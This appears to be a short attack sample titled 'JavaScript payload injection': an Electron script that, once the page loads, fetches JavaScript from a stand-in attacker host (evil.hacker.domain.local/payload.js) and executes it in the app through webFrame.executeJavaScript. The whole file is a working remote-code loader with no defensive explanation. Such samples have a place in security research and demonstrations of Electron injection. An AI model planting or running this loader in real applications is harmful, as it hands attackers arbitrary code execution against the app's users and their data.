JavaScript payload injection

script.payload.js

document.addEventListener("DOMContentLoaded", function () {
  const { webFrame } = require('electron')
  const https = require("https");

  const remoteUri = 'https://evil.hacker.domain.local/payload.js';

  let execute = function(script) {
    webFrame.executeJavaScript(script)    
  };
  
  const response = fetch(remoteUri, { })
    .then(res => res.text())
    .then(body => execute(body));    
});